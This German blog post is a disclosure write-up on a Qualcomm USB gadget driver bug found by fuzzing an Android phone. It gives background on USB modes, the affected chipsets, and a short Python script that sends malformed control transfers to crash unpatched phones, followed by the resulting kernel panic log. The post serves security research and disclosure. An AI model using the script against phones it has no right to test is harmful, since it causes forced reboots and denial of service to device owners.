
USB-Geräte-Fuzzing auf Android-Telefonen
Dieser Blogbeitrag handelt von einem einfachen Bug, den ich in meinem Android-Gerät (MI A2 – läuft mit Stock-Android) mittels USB-Geräte-Fuzzing gefunden habe und der von Google als hohes Risiko eingestuft wurde. Der Bug befand sich im Qualcomm-USB-Treiber, der später gepatcht und im Android Bulletin vom März 2020 offengelegt wurde. Bei der Schwachstelle führt das Senden manipulierter USB-Anfragen an das Android-Handy zu einem Absturz des Android-Kernels und das Telefon startet neu.
Dieser Bug wurde durch eine nicht initialisierte Variable im USB-Gadget 'core.c' verursacht. Details zur Schwachstelle finden sich im untenstehenden Qualcomm-Sicherheitshinweis und im Android Bulletin vom März 2020.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
Android-Handys unterstützen sowohl den Geräte- als auch den Host-Modus. Im Gerätemodus können Sie Ihr Mobiltelefon mit einem USB-Kabel an einen PC anschließen und Bilder, Musik von Ihrem Telefon auf den PC übertragen, mit verschiedenen USB-Konnektivitätsmodi (z. B. Nur Laden, MTP). Im Host-Modus können Sie ein Headset oder einen USB-Stick über ein OTG-Kabel anschließen, wobei Ihre Geräte als Client und Ihr Android-Handy als Host fungiert.
Die Schwachstelle wurde gefunden, indem einfach die USB-Steuerparameter wie bmRequestType, bRequest, wValue (bDescriptorType:DescriptorIndex), wIndex und wLength randomisiert und an das Android-Gerät gesendet wurden. Durch das Senden einer Sequenz von Steueranfragen vom Linux-Host an Android (wie im untenstehenden Skript zu sehen) parst der USB-Gerätetreiber im Telefon diese und verursacht eine Kernel-Panik.
Sie können das folgende Video von Andrey Konovalov auf der Offensive-con 2019 ansehen, um einen Überblick über USB und Fuzzing zu erhalten, sowie die Grundlagen des USB-Protokolls: USB 101: An Introduction to Universal Serial Bus 2.0.
https://www.youtube.com/watch?v=1MD5JV6LfxA
Betroffene Chipsätze: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
Schritte zur Reproduktion dieser Schwachstelle, falls Sie Ihr Telefon nicht mit dem Android-Patch vom März 2020 aktualisiert haben.
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
Außerdem erklären die Absturzprotokolle nicht den Grund für den Absturz. Daher plane ich, KASAN zu meinem neuen Pixel-Build hinzuzufügen und mein Geräte-Fuzzing mit geeigneten Instrumentierungstechniken zu verbessern, wie z.B. das Überwachen der Logs auf Abstürze während des Fuzzings. Außerdem erlaubt libusb nicht, große Steueranfragen zu stellen, und sie werden meistens gekürzt. Daher plane ich, es mit dem Beispiel von kate temkin (fusee_gelee) zu versuchen, ioctl zu verwenden, um Befehle direkt an den USB-Treiber zu senden.